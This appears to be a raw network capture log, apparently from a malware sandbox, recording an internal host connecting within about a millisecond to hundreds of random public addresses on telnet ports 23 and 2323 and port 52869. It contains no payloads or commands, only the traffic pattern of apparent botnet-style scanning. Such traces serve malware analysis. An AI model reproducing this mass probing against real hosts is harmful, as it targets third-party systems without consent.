Apr 15, 2024 08:51:54.227850914 CEST	4590	23	192.168.2.13	24.238.45.129
Apr 15, 2024 08:51:54.227850914 CEST	3310	52869	192.168.2.13	220.242.173.160
Apr 15, 2024 08:51:54.227852106 CEST	3310	52869	192.168.2.13	48.203.240.15
Apr 15, 2024 08:51:54.227853060 CEST	4590	23	192.168.2.13	112.144.54.255
Apr 15, 2024 08:51:54.227852106 CEST	4590	23	192.168.2.13	169.212.45.50
Apr 15, 2024 08:51:54.227853060 CEST	4590	23	192.168.2.13	155.125.166.182
Apr 15, 2024 08:51:54.227852106 CEST	3310	52869	192.168.2.13	180.141.196.215
Apr 15, 2024 08:51:54.227854967 CEST	4590	23	192.168.2.13	181.160.221.38
Apr 15, 2024 08:51:54.227854967 CEST	4590	23	192.168.2.13	165.52.227.201
Apr 15, 2024 08:51:54.227852106 CEST	4590	2323	192.168.2.13	138.217.12.60
Apr 15, 2024 08:51:54.227854967 CEST	4590	23	192.168.2.13	140.119.123.83
Apr 15, 2024 08:51:54.227854967 CEST	4590	23	192.168.2.13	1.177.40.88
Apr 15, 2024 08:51:54.227854967 CEST	4590	23	192.168.2.13	115.244.149.219
Apr 15, 2024 08:51:54.227863073 CEST	4590	23	192.168.2.13	17.130.145.8
Apr 15, 2024 08:51:54.227863073 CEST	4590	23	192.168.2.13	163.112.58.51
Apr 15, 2024 08:51:54.227865934 CEST	4590	23	192.168.2.13	168.34.181.65
Apr 15, 2024 08:51:54.227865934 CEST	4590	23	192.168.2.13	41.141.159.244
Apr 15, 2024 08:51:54.227865934 CEST	4590	2323	192.168.2.13	89.175.10.220
Apr 15, 2024 08:51:54.227865934 CEST	4590	23	192.168.2.13	134.153.55.2
Apr 15, 2024 08:51:54.227875948 CEST	4590	23	192.168.2.13	19.248.166.186
Apr 15, 2024 08:51:54.227875948 CEST	4590	23	192.168.2.13	53.127.178.201
Apr 15, 2024 08:51:54.227880955 CEST	4590	23	192.168.2.13	132.120.145.28
Apr 15, 2024 08:51:54.227895975 CEST	4590	23	192.168.2.13	79.14.1.7
Apr 15, 2024 08:51:54.227897882 CEST	4590	23	192.168.2.13	212.22.47.93
Apr 15, 2024 08:51:54.227897882 CEST	4590	23	192.168.2.13	110.187.143.155
Apr 15, 2024 08:51:54.227901936 CEST	4590	23	192.168.2.13	45.38.203.164
Apr 15, 2024 08:51:54.227902889 CEST	4590	23	192.168.2.13	94.103.67.8
Apr 15, 2024 08:51:54.227901936 CEST	4590	23	192.168.2.13	96.157.109.114
Apr 15, 2024 08:51:54.227901936 CEST	4590	23	192.168.2.13	222.169.22.245
Apr 15, 2024 08:51:54.227901936 CEST	4590	23	192.168.2.13	184.213.110.28
Apr 15, 2024 08:51:54.227901936 CEST	4590	23	192.168.2.13	46.35.235.144
Apr 15, 2024 08:51:54.227901936 CEST	4590	23	192.168.2.13	43.142.205.201
Apr 15, 2024 08:51:54.227902889 CEST	4590	23	192.168.2.13	35.204.171.49
Apr 15, 2024 08:51:54.227916956 CEST	4590	2323	192.168.2.13	107.246.77.244
Apr 15, 2024 08:51:54.227927923 CEST	4590	23	192.168.2.13	73.14.1.105
Apr 15, 2024 08:51:54.227930069 CEST	4590	23	192.168.2.13	5.116.190.45
Apr 15, 2024 08:51:54.227932930 CEST	4590	23	192.168.2.13	168.143.58.57
Apr 15, 2024 08:51:54.227932930 CEST	4590	23	192.168.2.13	137.109.62.223
Apr 15, 2024 08:51:54.227942944 CEST	3310	52869	192.168.2.13	110.3.113.148
Apr 15, 2024 08:51:54.227945089 CEST	3310	52869	192.168.2.13	24.226.153.179
Apr 15, 2024 08:51:54.227945089 CEST	3310	52869	192.168.2.13	112.49.197.9
Apr 15, 2024 08:51:54.227953911 CEST	3310	52869	192.168.2.13	181.83.56.66
Apr 15, 2024 08:51:54.227956057 CEST	3310	52869	192.168.2.13	187.11.20.185
Apr 15, 2024 08:51:54.227962017 CEST	3310	52869	192.168.2.13	102.239.202.82
Apr 15, 2024 08:51:54.227972031 CEST	3310	52869	192.168.2.13	99.222.176.185
Apr 15, 2024 08:51:54.227973938 CEST	4590	23	192.168.2.13	49.167.243.2
Apr 15, 2024 08:51:54.227973938 CEST	3310	52869	192.168.2.13	62.93.189.219
Apr 15, 2024 08:51:54.227973938 CEST	3310	52869	192.168.2.13	152.30.14.132
Apr 15, 2024 08:51:54.227973938 CEST	3310	52869	192.168.2.13	14.199.20.167
Apr 15, 2024 08:51:54.227977991 CEST	3310	52869	192.168.2.13	174.166.183.34
Apr 15, 2024 08:51:54.227984905 CEST	3310	52869	192.168.2.13	112.7.3.87
Apr 15, 2024 08:51:54.227984905 CEST	4590	23	192.168.2.13	23.193.219.173
Apr 15, 2024 08:51:54.227984905 CEST	3310	52869	192.168.2.13	52.177.95.225
Apr 15, 2024 08:51:54.227988005 CEST	3310	52869	192.168.2.13	185.135.162.25
Apr 15, 2024 08:51:54.227988005 CEST	3310	52869	192.168.2.13	110.98.148.140
Apr 15, 2024 08:51:54.227988005 CEST	3310	52869	192.168.2.13	9.20.240.34
Apr 15, 2024 08:51:54.227998018 CEST	4590	23	192.168.2.13	161.73.218.114
Apr 15, 2024 08:51:54.228002071 CEST	4590	2323	192.168.2.13	213.193.247.54
Apr 15, 2024 08:51:54.228002071 CEST	3310	52869	192.168.2.13	133.35.199.31
Apr 15, 2024 08:51:54.228003025 CEST	4590	23	192.168.2.13	8.56.47.49
Apr 15, 2024 08:51:54.228003979 CEST	3310	52869	192.168.2.13	23.113.111.31
Apr 15, 2024 08:51:54.228003979 CEST	3310	52869	192.168.2.13	135.21.99.7
Apr 15, 2024 08:51:54.228003025 CEST	4590	23	192.168.2.13	14.149.165.66
Apr 15, 2024 08:51:54.228003979 CEST	4590	23	192.168.2.13	93.220.67.64
Apr 15, 2024 08:51:54.228007078 CEST	4590	23	192.168.2.13	41.49.184.43
Apr 15, 2024 08:51:54.228007078 CEST	3310	52869	192.168.2.13	200.205.211.211
Apr 15, 2024 08:51:54.228013992 CEST	3310	52869	192.168.2.13	90.51.219.234
Apr 15, 2024 08:51:54.228022099 CEST	3310	52869	192.168.2.13	105.27.205.251
Apr 15, 2024 08:51:54.228022099 CEST	3310	52869	192.168.2.13	170.161.19.49
Apr 15, 2024 08:51:54.228023052 CEST	4590	23	192.168.2.13	144.80.74.99
Apr 15, 2024 08:51:54.228023052 CEST	3310	52869	192.168.2.13	203.82.25.135
Apr 15, 2024 08:51:54.228029013 CEST	3310	52869	192.168.2.13	147.136.112.48
Apr 15, 2024 08:51:54.228029013 CEST	3310	52869	192.168.2.13	77.248.45.168
Apr 15, 2024 08:51:54.228029013 CEST	4590	23	192.168.2.13	151.15.15.213
Apr 15, 2024 08:51:54.228029013 CEST	4590	23	192.168.2.13	36.244.243.48
Apr 15, 2024 08:51:54.228039026 CEST	3310	52869	192.168.2.13	147.210.69.189
Apr 15, 2024 08:51:54.228039980 CEST	3310	52869	192.168.2.13	168.239.235.188
Apr 15, 2024 08:51:54.228039980 CEST	3310	52869	192.168.2.13	185.78.201.183
Apr 15, 2024 08:51:54.228039980 CEST	3310	52869	192.168.2.13	138.134.131.134
Apr 15, 2024 08:51:54.228041887 CEST	3310	52869	192.168.2.13	34.159.234.114
Apr 15, 2024 08:51:54.228039980 CEST	4590	23	192.168.2.13	174.220.75.94
Apr 15, 2024 08:51:54.228041887 CEST	4590	23	192.168.2.13	160.22.73.184
Apr 15, 2024 08:51:54.228040934 CEST	3310	52869	192.168.2.13	97.40.31.240
Apr 15, 2024 08:51:54.228040934 CEST	3310	52869	192.168.2.13	23.4.163.89
Apr 15, 2024 08:51:54.228040934 CEST	3310	52869	192.168.2.13	106.240.123.208
Apr 15, 2024 08:51:54.228044033 CEST	3310	52869	192.168.2.13	106.225.95.128
Apr 15, 2024 08:51:54.228040934 CEST	3310	52869	192.168.2.13	65.66.16.24
Apr 15, 2024 08:51:54.228044033 CEST	3310	52869	192.168.2.13	37.4.57.193
Apr 15, 2024 08:51:54.228044987 CEST	3310	52869	192.168.2.13	144.163.249.173
Apr 15, 2024 08:51:54.228045940 CEST	4590	23	192.168.2.13	126.185.215.6
Apr 15, 2024 08:51:54.228044987 CEST	4590	23	192.168.2.13	110.224.247.54
Apr 15, 2024 08:51:54.228046894 CEST	4590	2323	192.168.2.13	188.85.125.80
Apr 15, 2024 08:51:54.228055000 CEST	3310	52869	192.168.2.13	220.220.80.61
Apr 15, 2024 08:51:54.228063107 CEST	4590	23	192.168.2.13	90.73.103.108
Apr 15, 2024 08:51:54.228063107 CEST	3310	52869	192.168.2.13	161.24.125.105
Apr 15, 2024 08:51:54.228070021 CEST	3310	52869	192.168.2.13	79.248.216.10
Apr 15, 2024 08:51:54.228070021 CEST	4590	23	192.168.2.13	17.149.34.42
Apr 15, 2024 08:51:54.228070021 CEST	3310	52869	192.168.2.13	205.169.40.23
Apr 15, 2024 08:51:54.228070021 CEST	4590	23	192.168.2.13	211.19.133.188
Apr 15, 2024 08:51:54.228072882 CEST	4590	2323	192.168.2.13	85.148.7.182
Apr 15, 2024 08:51:54.228070021 CEST	4590	23	192.168.2.13	130.98.79.53
Apr 15, 2024 08:51:54.228070021 CEST	4590	23	192.168.2.13	217.245.183.237
Apr 15, 2024 08:51:54.228075981 CEST	4590	23	192.168.2.13	67.96.94.228
Apr 15, 2024 08:51:54.228077888 CEST	4590	23	192.168.2.13	132.196.27.30
Apr 15, 2024 08:51:54.228077888 CEST	3310	52869	192.168.2.13	183.251.174.153
Apr 15, 2024 08:51:54.228077888 CEST	4590	23	192.168.2.13	85.106.233.131
Apr 15, 2024 08:51:54.228077888 CEST	3310	52869	192.168.2.13	40.237.230.45
Apr 15, 2024 08:51:54.228089094 CEST	4590	23	192.168.2.13	84.186.238.241
Apr 15, 2024 08:51:54.228094101 CEST	4590	23	192.168.2.13	132.243.76.165
Apr 15, 2024 08:51:54.228104115 CEST	4590	23	192.168.2.13	51.8.153.7
Apr 15, 2024 08:51:54.228121996 CEST	4590	23	192.168.2.13	92.189.103.149
Apr 15, 2024 08:51:54.228121996 CEST	4590	23	192.168.2.13	75.168.221.239
Apr 15, 2024 08:51:54.228121996 CEST	4590	23	192.168.2.13	211.221.91.73
Apr 15, 2024 08:51:54.228126049 CEST	4590	23	192.168.2.13	188.139.87.160
Apr 15, 2024 08:51:54.228132010 CEST	4590	23	192.168.2.13	165.121.85.229
Apr 15, 2024 08:51:54.228132010 CEST	4590	23	192.168.2.13	216.84.29.144
Apr 15, 2024 08:51:54.228132010 CEST	4590	2323	192.168.2.13	205.98.102.26
Apr 15, 2024 08:51:54.228137970 CEST	4590	23	192.168.2.13	61.222.179.197
Apr 15, 2024 08:51:54.228152037 CEST	4590	23	192.168.2.13	90.188.84.28
Apr 15, 2024 08:51:54.228167057 CEST	4590	23	192.168.2.13	137.46.25.29
Apr 15, 2024 08:51:54.228173018 CEST	4590	23	192.168.2.13	43.185.119.141
Apr 15, 2024 08:51:54.228185892 CEST	3310	52869	192.168.2.13	71.245.146.222
Apr 15, 2024 08:51:54.228189945 CEST	3310	52869	192.168.2.13	111.162.30.9
Apr 15, 2024 08:51:54.228197098 CEST	4590	23	192.168.2.13	188.0.46.111
Apr 15, 2024 08:51:54.228208065 CEST	3310	52869	192.168.2.13	35.106.58.39
Apr 15, 2024 08:51:54.228223085 CEST	3310	52869	192.168.2.13	44.30.161.85
Apr 15, 2024 08:51:54.228223085 CEST	4590	23	192.168.2.13	208.151.118.171
Apr 15, 2024 08:51:54.228223085 CEST	3310	52869	192.168.2.13	196.78.139.186
Apr 15, 2024 08:51:54.228223085 CEST	3310	52869	192.168.2.13	163.228.19.89
Apr 15, 2024 08:51:54.228223085 CEST	3310	52869	192.168.2.13	36.206.61.225
Apr 15, 2024 08:51:54.228228092 CEST	3310	52869	192.168.2.13	153.27.64.203
Apr 15, 2024 08:51:54.228238106 CEST	4590	23	192.168.2.13	8.239.91.65
Apr 15, 2024 08:51:54.228244066 CEST	3310	52869	192.168.2.13	151.145.138.154
Apr 15, 2024 08:51:54.228244066 CEST	3310	52869	192.168.2.13	133.44.13.87
Apr 15, 2024 08:51:54.228244066 CEST	3310	52869	192.168.2.13	188.114.116.59
Apr 15, 2024 08:51:54.228250027 CEST	3310	52869	192.168.2.13	79.126.59.190
Apr 15, 2024 08:51:54.228250027 CEST	3310	52869	192.168.2.13	181.199.236.207
Apr 15, 2024 08:51:54.228250027 CEST	3310	52869	192.168.2.13	41.193.4.197
Apr 15, 2024 08:51:54.228255987 CEST	4590	23	192.168.2.13	20.234.63.233
Apr 15, 2024 08:51:54.228257895 CEST	3310	52869	192.168.2.13	1.241.79.64
Apr 15, 2024 08:51:54.228259087 CEST	4590	23	192.168.2.13	221.38.41.209
Apr 15, 2024 08:51:54.228266001 CEST	3310	52869	192.168.2.13	71.183.116.169
Apr 15, 2024 08:51:54.228266001 CEST	3310	52869	192.168.2.13	51.230.1.170
Apr 15, 2024 08:51:54.228266001 CEST	4590	23	192.168.2.13	54.254.87.112
Apr 15, 2024 08:51:54.228266001 CEST	4590	23	192.168.2.13	120.159.88.221
Apr 15, 2024 08:51:54.228271008 CEST	4590	2323	192.168.2.13	2.89.178.2
Apr 15, 2024 08:51:54.228276014 CEST	3310	52869	192.168.2.13	217.49.131.249
Apr 15, 2024 08:51:54.228291035 CEST	4590	23	192.168.2.13	156.102.107.123
Apr 15, 2024 08:51:54.228295088 CEST	4590	23	192.168.2.13	152.87.211.251
Apr 15, 2024 08:51:54.228295088 CEST	4590	23	192.168.2.13	113.38.137.58
Apr 15, 2024 08:51:54.228307962 CEST	4590	23	192.168.2.13	68.58.254.244
Apr 15, 2024 08:51:54.228313923 CEST	4590	23	192.168.2.13	103.138.195.70
Apr 15, 2024 08:51:54.228315115 CEST	4590	23	192.168.2.13	77.120.141.42
Apr 15, 2024 08:51:54.228334904 CEST	4590	2323	192.168.2.13	208.100.72.20
Apr 15, 2024 08:51:54.228334904 CEST	4590	23	192.168.2.13	112.90.194.117
Apr 15, 2024 08:51:54.228336096 CEST	4590	23	192.168.2.13	88.115.233.17
Apr 15, 2024 08:51:54.228349924 CEST	4590	23	192.168.2.13	221.14.202.197
Apr 15, 2024 08:51:54.228358984 CEST	4590	23	192.168.2.13	98.151.190.209
Apr 15, 2024 08:51:54.228358984 CEST	4590	23	192.168.2.13	121.116.250.155
Apr 15, 2024 08:51:54.228377104 CEST	3310	52869	192.168.2.13	113.208.150.110
Apr 15, 2024 08:51:54.228388071 CEST	3310	52869	192.168.2.13	53.141.112.66
Apr 15, 2024 08:51:54.228388071 CEST	4590	23	192.168.2.13	151.164.178.210
Apr 15, 2024 08:51:54.228390932 CEST	3310	52869	192.168.2.13	151.169.177.112
Apr 15, 2024 08:51:54.228391886 CEST	3310	52869	192.168.2.13	120.160.146.127
Apr 15, 2024 08:51:54.228394032 CEST	3310	52869	192.168.2.13	143.249.227.184
Apr 15, 2024 08:51:54.228404045 CEST	4590	23	192.168.2.13	139.119.183.151
Apr 15, 2024 08:51:54.228404045 CEST	4590	23	192.168.2.13	14.35.67.89
Apr 15, 2024 08:51:54.228410006 CEST	4590	23	192.168.2.13	64.135.97.166
Apr 15, 2024 08:51:54.228410006 CEST	3310	52869	192.168.2.13	112.230.153.81
Apr 15, 2024 08:51:54.228410959 CEST	4590	23	192.168.2.13	168.224.220.135
Apr 15, 2024 08:51:54.228411913 CEST	4590	23	192.168.2.13	58.205.73.231
Apr 15, 2024 08:51:54.228410959 CEST	3310	52869	192.168.2.13	87.103.63.161
Apr 15, 2024 08:51:54.228411913 CEST	3310	52869	192.168.2.13	162.106.104.124
Apr 15, 2024 08:51:54.228411913 CEST	3310	52869	192.168.2.13	105.238.193.32
Apr 15, 2024 08:51:54.228410959 CEST	4590	23	192.168.2.13	73.184.97.130
Apr 15, 2024 08:51:54.228410959 CEST	4590	23	192.168.2.13	65.119.79.92
Apr 15, 2024 08:51:54.228416920 CEST	3310	52869	192.168.2.13	192.45.26.69
Apr 15, 2024 08:51:54.228410959 CEST	4590	23	192.168.2.13	180.94.170.76
Apr 15, 2024 08:51:54.228410959 CEST	4590	23	192.168.2.13	69.190.209.236
Apr 15, 2024 08:51:54.228410959 CEST	3310	52869	192.168.2.13	158.153.253.85
Apr 15, 2024 08:51:54.228411913 CEST	4590	23	192.168.2.13	187.103.254.120
Apr 15, 2024 08:51:54.228421926 CEST	3310	52869	192.168.2.13	167.204.193.240
Apr 15, 2024 08:51:54.228423119 CEST	3310	52869	192.168.2.13	165.190.9.125
Apr 15, 2024 08:51:54.228421926 CEST	3310	52869	192.168.2.13	204.144.141.141
Apr 15, 2024 08:51:54.228424072 CEST	4590	2323	192.168.2.13	213.242.12.44
Apr 15, 2024 08:51:54.228423119 CEST	3310	52869	192.168.2.13	71.172.180.130
Apr 15, 2024 08:51:54.228423119 CEST	4590	23	192.168.2.13	181.168.6.241
Apr 15, 2024 08:51:54.228442907 CEST	3310	52869	192.168.2.13	188.106.1.134
Apr 15, 2024 08:51:54.228442907 CEST	3310	52869	192.168.2.13	169.176.113.16
Apr 15, 2024 08:51:54.228442907 CEST	3310	52869	192.168.2.13	157.223.221.189
Apr 15, 2024 08:51:54.228446960 CEST	3310	52869	192.168.2.13	123.246.94.153
Apr 15, 2024 08:51:54.228446960 CEST	3310	52869	192.168.2.13	20.232.166.254
Apr 15, 2024 08:51:54.228446960 CEST	3310	52869	192.168.2.13	178.77.90.28
Apr 15, 2024 08:51:54.228446960 CEST	3310	52869	192.168.2.13	74.241.53.83
Apr 15, 2024 08:51:54.228446960 CEST	4590	23	192.168.2.13	166.171.32.189
Apr 15, 2024 08:51:54.228450060 CEST	4590	23	192.168.2.13	61.114.156.176
Apr 15, 2024 08:51:54.228450060 CEST	4590	23	192.168.2.13	136.129.145.110
Apr 15, 2024 08:51:54.228454113 CEST	3310	52869	192.168.2.13	204.119.85.226
Apr 15, 2024 08:51:54.228454113 CEST	3310	52869	192.168.2.13	116.192.153.241
Apr 15, 2024 08:51:54.228465080 CEST	3310	52869	192.168.2.13	5.2.40.173
Apr 15, 2024 08:51:54.228465080 CEST	3310	52869	192.168.2.13	100.235.11.60
Apr 15, 2024 08:51:54.228465080 CEST	4590	23	192.168.2.13	12.127.8.4
Apr 15, 2024 08:51:54.228466034 CEST	4590	23	192.168.2.13	133.153.122.3
Apr 15, 2024 08:51:54.228466034 CEST	4590	23	192.168.2.13	1.218.227.226
Apr 15, 2024 08:51:54.228466034 CEST	3310	52869	192.168.2.13	12.101.16.218
Apr 15, 2024 08:51:54.228466034 CEST	3310	52869	192.168.2.13	41.47.17.251
Apr 15, 2024 08:51:54.228466034 CEST	4590	23	192.168.2.13	201.19.221.94
Apr 15, 2024 08:51:54.228468895 CEST	3310	52869	192.168.2.13	68.242.143.114
Apr 15, 2024 08:51:54.228468895 CEST	3310	52869	192.168.2.13	159.179.84.37
Apr 15, 2024 08:51:54.228468895 CEST	3310	52869	192.168.2.13	87.122.124.254
Apr 15, 2024 08:51:54.228475094 CEST	3310	52869	192.168.2.13	169.88.234.25
Apr 15, 2024 08:51:54.228473902 CEST	3310	52869	192.168.2.13	17.126.59.50
Apr 15, 2024 08:51:54.228475094 CEST	4590	23	192.168.2.13	8.153.204.84
Apr 15, 2024 08:51:54.228475094 CEST	3310	52869	192.168.2.13	178.26.199.146
Apr 15, 2024 08:51:54.228473902 CEST	4590	2323	192.168.2.13	183.219.40.85
Apr 15, 2024 08:51:54.228477001 CEST	4590	23	192.168.2.13	87.127.13.221
Apr 15, 2024 08:51:54.228473902 CEST	3310	52869	192.168.2.13	126.224.83.159
Apr 15, 2024 08:51:54.228477001 CEST	3310	52869	192.168.2.13	161.108.211.33
Apr 15, 2024 08:51:54.228473902 CEST	3310	52869	192.168.2.13	91.64.203.82
Apr 15, 2024 08:51:54.228477001 CEST	3310	52869	192.168.2.13	172.109.226.180
Apr 15, 2024 08:51:54.228482008 CEST	3310	52869	192.168.2.13	168.39.64.74
Apr 15, 2024 08:51:54.228492022 CEST	3310	52869	192.168.2.13	169.94.246.255
Apr 15, 2024 08:51:54.228492022 CEST	3310	52869	192.168.2.13	166.187.236.113
Apr 15, 2024 08:51:54.228492022 CEST	3310	52869	192.168.2.13	79.5.107.228
Apr 15, 2024 08:51:54.228492975 CEST	3310	52869	192.168.2.13	5.13.30.107
Apr 15, 2024 08:51:54.228494883 CEST	4590	2323	192.168.2.13	169.24.3.141
Apr 15, 2024 08:51:54.228494883 CEST	3310	52869	192.168.2.13	14.187.109.136
Apr 15, 2024 08:51:54.228504896 CEST	3310	52869	192.168.2.13	219.105.207.60
Apr 15, 2024 08:51:54.228504896 CEST	4590	23	192.168.2.13	194.113.192.67
Apr 15, 2024 08:51:54.228504896 CEST	3310	52869	192.168.2.13	94.143.120.134
Apr 15, 2024 08:51:54.228504896 CEST	4590	23	192.168.2.13	146.148.44.188
Apr 15, 2024 08:51:54.228504896 CEST	4590	23	192.168.2.13	140.116.110.140
Apr 15, 2024 08:51:54.228504896 CEST	4590	23	192.168.2.13	63.16.84.61
Apr 15, 2024 08:51:54.228504896 CEST	4590	23	192.168.2.13	66.123.188.246
Apr 15, 2024 08:51:54.228513956 CEST	4590	23	192.168.2.13	100.40.187.45
Apr 15, 2024 08:51:54.228513956 CEST	4590	23	192.168.2.13	197.210.3.61
Apr 15, 2024 08:51:54.228544950 CEST	3310	52869	192.168.2.13	51.207.80.150
Apr 15, 2024 08:51:54.228547096 CEST	3310	52869	192.168.2.13	131.233.233.23
Apr 15, 2024 08:51:54.228545904 CEST	3310	52869	192.168.2.13	4.104.27.241
Apr 15, 2024 08:51:54.228547096 CEST	4590	23	192.168.2.13	206.201.121.166
Apr 15, 2024 08:51:54.228545904 CEST	4590	23	192.168.2.13	52.167.198.115
Apr 15, 2024 08:51:54.228545904 CEST	4590	23	192.168.2.13	196.50.33.213
Apr 15, 2024 08:51:54.228611946 CEST	4590	23	192.168.2.13	73.238.2.210
Apr 15, 2024 08:51:54.228626966 CEST	4590	23	192.168.2.13	150.83.236.83
Apr 15, 2024 08:51:54.228629112 CEST	4590	2323	192.168.2.13	66.180.126.123
Apr 15, 2024 08:51:54.228645086 CEST	4590	23	192.168.2.13	54.16.191.147
Apr 15, 2024 08:51:54.228652954 CEST	4590	23	192.168.2.13	166.57.200.28
Apr 15, 2024 08:51:54.228656054 CEST	4590	23	192.168.2.13	117.194.103.240
Apr 15, 2024 08:51:54.228665113 CEST	3310	52869	192.168.2.13	115.174.157.191
Apr 15, 2024 08:51:54.228671074 CEST	4590	23	192.168.2.13	146.67.62.254
Apr 15, 2024 08:51:54.228677034 CEST	4590	23	192.168.2.13	111.29.108.55
Apr 15, 2024 08:51:54.228677034 CEST	4590	23	192.168.2.13	113.68.244.99
Apr 15, 2024 08:51:54.228684902 CEST	4590	23	192.168.2.13	98.4.199.224
Apr 15, 2024 08:51:54.228691101 CEST	3310	52869	192.168.2.13	195.97.70.217
Apr 15, 2024 08:51:54.228692055 CEST	3310	52869	192.168.2.13	108.4.149.82
Apr 15, 2024 08:51:54.228691101 CEST	3310	52869	192.168.2.13	44.206.248.96
Apr 15, 2024 08:51:54.228691101 CEST	4590	23	192.168.2.13	136.57.126.48
Apr 15, 2024 08:51:54.228698969 CEST	3310	52869	192.168.2.13	141.252.109.230
Apr 15, 2024 08:51:54.228703976 CEST	3310	52869	192.168.2.13	140.137.177.62
Apr 15, 2024 08:51:54.228704929 CEST	3310	52869	192.168.2.13	60.1.77.169
Apr 15, 2024 08:51:54.228708029 CEST	4590	23	192.168.2.13	180.20.117.251
Apr 15, 2024 08:51:54.228732109 CEST	4590	2323	192.168.2.13	176.134.156.107
Apr 15, 2024 08:51:54.228733063 CEST	4590	23	192.168.2.13	53.189.158.123
Apr 15, 2024 08:51:54.228749037 CEST	4590	23	192.168.2.13	131.203.94.148
Apr 15, 2024 08:51:54.228755951 CEST	4590	23	192.168.2.13	209.60.107.194
Apr 15, 2024 08:51:54.228758097 CEST	4590	23	192.168.2.13	158.11.220.135
Apr 15, 2024 08:51:54.228769064 CEST	4590	23	192.168.2.13	175.249.190.236
Apr 15, 2024 08:51:54.228779078 CEST	4590	23	192.168.2.13	125.3.156.86
Apr 15, 2024 08:51:54.228779078 CEST	4590	23	192.168.2.13	204.3.213.136
Apr 15, 2024 08:51:54.228780031 CEST	4590	23	192.168.2.13	17.90.37.120
Apr 15, 2024 08:51:54.228780985 CEST	4590	23	192.168.2.13	206.9.49.222
Apr 15, 2024 08:51:54.228790045 CEST	4590	2323	192.168.2.13	166.115.95.168
Apr 15, 2024 08:51:54.228807926 CEST	4590	23	192.168.2.13	60.79.239.244
Apr 15, 2024 08:51:54.228807926 CEST	3310	52869	192.168.2.13	150.208.183.209
Apr 15, 2024 08:51:54.228817940 CEST	3310	52869	192.168.2.13	196.70.121.188
Apr 15, 2024 08:51:54.228820086 CEST	3310	52869	192.168.2.13	128.241.200.190
Apr 15, 2024 08:51:54.228820086 CEST	4590	23	192.168.2.13	152.70.90.140
Apr 15, 2024 08:51:54.228830099 CEST	3310	52869	192.168.2.13	181.21.60.118
Apr 15, 2024 08:51:54.228830099 CEST	3310	52869	192.168.2.13	184.99.244.168
Apr 15, 2024 08:51:54.228831053 CEST	4590	23	192.168.2.13	45.65.84.19
Apr 15, 2024 08:51:54.228837967 CEST	3310	52869	192.168.2.13	135.181.105.37
Apr 15, 2024 08:51:54.228847980 CEST	4590	23	192.168.2.13	98.2.95.68
Apr 15, 2024 08:51:54.228847980 CEST	4590	23	192.168.2.13	43.90.169.103
Apr 15, 2024 08:51:54.228853941 CEST	4590	23	192.168.2.13	107.84.15.179
Apr 15, 2024 08:51:54.228853941 CEST	4590	23	192.168.2.13	184.163.53.181
Apr 15, 2024 08:51:54.228878021 CEST	4590	23	192.168.2.13	72.228.211.139
Apr 15, 2024 08:51:54.228887081 CEST	4590	2323	192.168.2.13	101.213.22.117
Apr 15, 2024 08:51:54.228888035 CEST	4590	23	192.168.2.13	173.250.108.253
Apr 15, 2024 08:51:54.228894949 CEST	4590	23	192.168.2.13	156.26.41.233
Apr 15, 2024 08:51:54.228907108 CEST	4590	23	192.168.2.13	173.144.253.142
Apr 15, 2024 08:51:54.228919029 CEST	4590	23	192.168.2.13	124.72.119.13
Apr 15, 2024 08:51:54.228923082 CEST	4590	23	192.168.2.13	62.124.113.60
Apr 15, 2024 08:51:54.228935003 CEST	3310	52869	192.168.2.13	5.61.7.53
Apr 15, 2024 08:51:54.228940964 CEST	3310	52869	192.168.2.13	72.99.159.138
Apr 15, 2024 08:51:54.228955984 CEST	3310	52869	192.168.2.13	208.249.45.44
Apr 15, 2024 08:51:54.228967905 CEST	4590	23	192.168.2.13	17.237.125.74
Apr 15, 2024 08:51:54.228969097 CEST	4590	23	192.168.2.13	93.181.76.192
Apr 15, 2024 08:51:54.228969097 CEST	3310	52869	192.168.2.13	153.219.113.185
Apr 15, 2024 08:51:54.228969097 CEST	3310	52869	192.168.2.13	173.250.73.222
Apr 15, 2024 08:51:54.228969097 CEST	4590	23	192.168.2.13	200.189.44.124
Apr 15, 2024 08:51:54.228969097 CEST	4590	23	192.168.2.13	128.195.142.141
Apr 15, 2024 08:51:54.228975058 CEST	4590	23	192.168.2.13	202.226.111.0
Apr 15, 2024 08:51:54.228967905 CEST	4590	23	192.168.2.13	32.98.244.177
Apr 15, 2024 08:51:54.228969097 CEST	4590	23	192.168.2.13	101.110.212.121
Apr 15, 2024 08:51:54.228975058 CEST	4590	2323	192.168.2.13	167.240.81.116
Apr 15, 2024 08:51:54.228969097 CEST	4590	23	192.168.2.13	187.180.131.151
Apr 15, 2024 08:51:54.228988886 CEST	3310	52869	192.168.2.13	77.188.159.188
Apr 15, 2024 08:51:54.228988886 CEST	3310	52869	192.168.2.13	179.22.250.94
Apr 15, 2024 08:51:54.228992939 CEST	3310	52869	192.168.2.13	208.26.199.112
Apr 15, 2024 08:51:54.228995085 CEST	4590	23	192.168.2.13	123.102.143.218
Apr 15, 2024 08:51:54.228995085 CEST	3310	52869	192.168.2.13	189.252.49.101
Apr 15, 2024 08:51:54.228995085 CEST	3310	52869	192.168.2.13	120.217.39.173
Apr 15, 2024 08:51:54.228997946 CEST	4590	23	192.168.2.13	166.50.61.73
Apr 15, 2024 08:51:54.228997946 CEST	4590	23	192.168.2.13	188.19.1.128
Apr 15, 2024 08:51:54.228997946 CEST	3310	52869	192.168.2.13	52.69.197.41
Apr 15, 2024 08:51:54.229010105 CEST	4590	23	192.168.2.13	17.12.198.239
Apr 15, 2024 08:51:54.229011059 CEST	3310	52869	192.168.2.13	128.141.39.238
Apr 15, 2024 08:51:54.229010105 CEST	3310	52869	192.168.2.13	191.64.106.165
Apr 15, 2024 08:51:54.229015112 CEST	3310	52869	192.168.2.13	34.132.227.189
Apr 15, 2024 08:51:54.229015112 CEST	4590	23	192.168.2.13	84.107.189.251
Apr 15, 2024 08:51:54.229016066 CEST	3310	52869	192.168.2.13	171.213.135.38
Apr 15, 2024 08:51:54.229016066 CEST	4590	2323	192.168.2.13	119.43.217.51
Apr 15, 2024 08:51:54.229016066 CEST	3310	52869	192.168.2.13	132.29.190.205
Apr 15, 2024 08:51:54.229016066 CEST	3310	52869	192.168.2.13	144.156.145.2
Apr 15, 2024 08:51:54.229026079 CEST	3310	52869	192.168.2.13	119.29.22.157
Apr 15, 2024 08:51:54.229026079 CEST	3310	52869	192.168.2.13	58.93.74.153
Apr 15, 2024 08:51:54.229026079 CEST	4590	23	192.168.2.13	13.149.51.55
Apr 15, 2024 08:51:54.229026079 CEST	4590	23	192.168.2.13	194.6.228.130
Apr 15, 2024 08:51:54.229043961 CEST	3310	52869	192.168.2.13	220.66.249.49
